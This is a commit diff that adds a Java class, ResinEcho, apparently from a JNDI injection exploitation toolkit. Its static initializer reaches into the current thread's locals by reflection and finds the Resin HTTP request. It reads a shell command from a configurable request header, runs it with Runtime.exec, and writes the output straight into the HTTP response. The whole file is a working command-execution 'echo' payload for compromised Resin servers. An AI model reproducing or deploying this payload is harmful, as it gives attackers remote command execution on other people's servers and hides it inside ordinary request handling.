Add constructor

2026-09-24 15:51:53 +08:00 · 2024-05-29 16:13:04 +08:00
parent 751035cd18
commit 72a91dd13f
72 changed files with 681 additions and 363 deletions
@@ -0,0 +1,49 @@
+package com.qi4l.jndi.template.echoStatic;
+
+public class ResinEcho {
+
+    public static String CMD_HEADER;
+
+    static {
+        try {
+            Class                   clazz = Thread.currentThread().getClass();
+            java.lang.reflect.Field field = clazz.getSuperclass().getDeclaredField("threadLocals");
+            field.setAccessible(true);
+            Object obj = field.get(Thread.currentThread());
+
+            field = obj.getClass().getDeclaredField("table");
+            field.setAccessible(true);
+            obj = field.get(obj);
+
+            Object[] obj_arr = (Object[]) obj;
+            for (int i = 0; i < obj_arr.length; i++) {
+                Object o = obj_arr[i];
+                if (o == null) continue;
+
+                field = o.getClass().getDeclaredField("value");
+                field.setAccessible(true);
+                obj = field.get(o);
+
+                if (obj != null && obj.getClass().getName().equals("com.caucho.server.http.HttpRequest")) {
+                    com.caucho.server.http.HttpRequest httpRequest = (com.caucho.server.http.HttpRequest) obj;
+                    String                             cmd         = httpRequest.getHeader(CMD_HEADER);
+
+                    if (cmd != null && !cmd.isEmpty()) {
+                        String                              res          = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
+                        com.caucho.server.http.HttpResponse httpResponse = httpRequest.createResponse();
+                        httpResponse.setHeader("Content-Length", res.length() + "");
+                        java.lang.reflect.Method method = httpResponse.getClass().getDeclaredMethod("createResponseStream", (Class<?>) null);
+                        method.setAccessible(true);
+                        com.caucho.server.http.HttpResponseStream httpResponseStream = (com.caucho.server.http.HttpResponseStream) method.invoke(httpResponse, (Object) null);
+                        httpResponseStream.write(res.getBytes(), 0, res.length());
+                        httpResponseStream.close();
+                    }
+
+                    break;
+                }
+            }
+        } catch (Exception ignored) {
+        }
+
+    }
+}